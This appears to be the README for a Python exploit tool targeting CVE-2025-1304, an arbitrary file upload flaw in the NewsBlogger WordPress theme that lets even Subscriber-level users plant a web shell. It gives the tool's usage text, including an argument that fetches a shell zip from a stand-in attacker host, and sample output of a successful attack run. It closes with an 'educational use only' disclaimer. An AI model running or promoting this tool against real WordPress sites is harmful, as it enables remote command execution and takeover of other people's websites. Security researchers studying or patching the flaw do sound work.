
WordPress NewsBlogger Theme <= 0.2.5.1 is vulnerable to Arbitrary File Upload
CVSS Score: 8.8 (High)
Vulnerability Type: Arbitrary File Upload
Component: WordPress Theme
CVE ID: CVE-2025-1304
The NewsBlogger WordPress theme (versions <= 0.2.5.1) is vulnerable to an Arbitrary File Upload via the admin welcome panel.
This vulnerability allows any authenticated user — including those with the minimal Subscriber role — to upload a malicious .zip archive containing a web shell.
The upload occurs through an unvalidated plugin URL field, which fails to properly verify the content or type of the uploaded file.
A successful attack could lead to full compromise of the website, including remote command execution and privilege escalation.
This Python script automates the exploitation of the vulnerability by:
nonce dynamically from the vulnerable welcome page.python CVE-2025-1304.py -h
usage: a.py [-h] --url URL --username USERNAME --password PASSWORD --shellweb SHELLWEB
WordPress NewsBlogger Theme vulnerable to Arbitrary File Upload #By: Nxploited ( Khaled Alenazi )
options:
-h, --help show this help message and exit
--url, -u URL Target base URL (e.g., http://target/wordpress)
--username, -un USERNAME WordPress admin username
--password, -p PASSWORD WordPress admin password
--shellweb, -shell SHELLWEB
Direct URL to the malicious shell zip (e.g., http://attacker.com/shell.zip)
[+] Logging in to http://target/wordpress/wp-login.php
[+] Logged in successfully.
[+] Fetching welcome page to extract nonce: http://target/wordpress/wp-admin/admin.php?page=newsblogger-welcome
[+] Extracted nonce: 012818100b
[+] Sending malicious plugin URL to: http://target/wordpress/wp-admin/admin-ajax.php
[+] Server response:
{"success":true,"data":{"redirect_url":"http://target/wordpress/wp-admin/admin.php?page=newsblogger-welcome"}}
This code is provided for educational and authorized security testing purposes only.
The author assumes no responsibility for any misuse or damage caused by this tool.
By: Nxploited ( Khaled Alenazi)